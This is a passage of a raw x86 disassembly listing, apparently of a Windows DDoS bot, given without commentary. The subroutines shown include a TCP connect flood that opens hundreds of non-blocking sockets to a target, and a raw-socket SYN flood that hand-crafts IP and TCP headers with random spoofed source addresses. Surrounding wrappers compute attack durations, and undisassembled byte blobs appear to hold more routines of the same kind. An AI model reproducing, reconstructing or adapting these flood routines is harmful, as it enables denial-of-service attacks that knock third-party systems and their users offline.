		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0C9E85759h, 90022DD0h, 6AF44D8Dh,	0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A184o
		dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022DD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Dh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022DCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22DCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22DCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D925E800h
		dd 50900228h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0C868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2DCB13E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0CFD3E890h
		dd 754E0227h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Dh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022DC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2690579h
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2DC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2790C12h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 2790C12h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22DC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Dh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022DC0h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 15E85359h, 90022DC0h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
